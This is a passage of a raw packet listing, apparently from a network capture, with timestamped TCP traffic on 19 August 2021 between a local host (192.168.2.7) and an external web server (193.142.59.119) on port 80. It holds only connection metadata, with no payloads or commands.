Aug 19, 2021 07:53:40.195724964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195734024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195749044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195763111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195771933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195795059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195795059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195821047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195828915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195843935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195866108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195872068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195894003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195899010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195909977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195931911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195947886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195951939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195972919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.195975065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.195995092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196008921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196017027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196041107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196063995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196084976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196084976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196104050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196113110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196125984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196146011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196162939 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196171045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196178913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196196079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196206093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196222067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196239948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196248055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196264982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196274996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196285009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196300983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196327925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196341991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196352959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196372032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196384907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196398973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196417093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196420908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196438074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196439028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196465015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196470976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196491003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196502924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196532965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196563959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196605921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196635008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196645975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196651936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.196680069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.196698904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.224282980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.227930069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.227977991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228014946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228053093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228069067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228091955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228105068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228131056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228152990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228177071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228182077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228208065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228214025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228235960 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228245020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228271961 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228275061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228291035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228306055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228308916 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228333950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228343964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228363991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228370905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228391886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228416920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228435040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228449106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228466034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228478909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228493929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228509903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228512049 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228538036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228563070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228574038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228594065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228607893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228626013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228636980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228657961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228665113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228687048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228710890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228723049 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228739977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228755951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228770971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.228785992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.228804111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.229365110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.230154991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.230344057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.256124020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.256206036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.256259918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.256299973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.256454945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.256459951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.261985064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262038946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262053967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262073040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262101889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262124062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262126923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262156963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262165070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262178898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262181044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262200117 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262207985 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262218952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262239933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262248993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262274027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262284994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262306929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262326002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262339115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262372017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262377024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262398005 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262404919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262415886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262437105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262440920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262470007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262490988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262502909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262525082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262536049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262543917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262566090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262592077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262597084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262623072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262653112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262654066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262658119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262667894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262679100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262702942 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262703896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262723923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262744904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262765884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262798071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262840986 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262857914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262893915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262897968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262929916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.262948036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.262964964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263001919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263005972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263037920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263039112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263072968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263073921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263109922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263109922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263170004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263201952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263214111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263235092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263241053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263268948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263273001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263309002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263309956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263345957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263345957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263384104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263401985 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263418913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263422012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263453960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263463020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263489008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263489962 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263525009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263561964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263565063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263593912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263600111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263637066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263637066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263674021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263710976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263715029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263747931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263752937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263784885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263786077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263828993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263850927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263889074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263906002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263921976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.263926983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.263977051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264008999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264017105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264040947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264048100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264071941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264081001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264106035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264107943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264137983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264169931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264173985 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264204025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264209032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264236927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264240026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264269114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264271021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264301062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264308929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264333963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264333963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264364004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264390945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264401913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264420033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264431953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264451981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264458895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264483929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264487028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264516115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264549017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264553070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264583111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264588118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264614105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264615059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264643908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264651060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264676094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264707088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264709949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264735937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264736891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264769077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264794111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264801025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264822006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264832020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264841080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264863014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264866114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264892101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264902115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264923096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264934063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264955997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264966011 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.264987946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.264991999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265021086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265049934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265060902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265081882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265090942 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265114069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265121937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265146971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265158892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265180111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265183926 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265213013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265243053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265254021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265276909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265276909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265305996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265307903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265341043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265350103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265373945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265382051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265405893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265408039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265440941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265474081 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265479088 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265506029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265507936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265542030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265546083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265574932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265590906 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265609026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265609026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265641928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265675068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265691996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265707970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265731096 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265741110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265755892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265774965 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265784025 CEST	49738	80	192.168.2.7	193.142.59.119
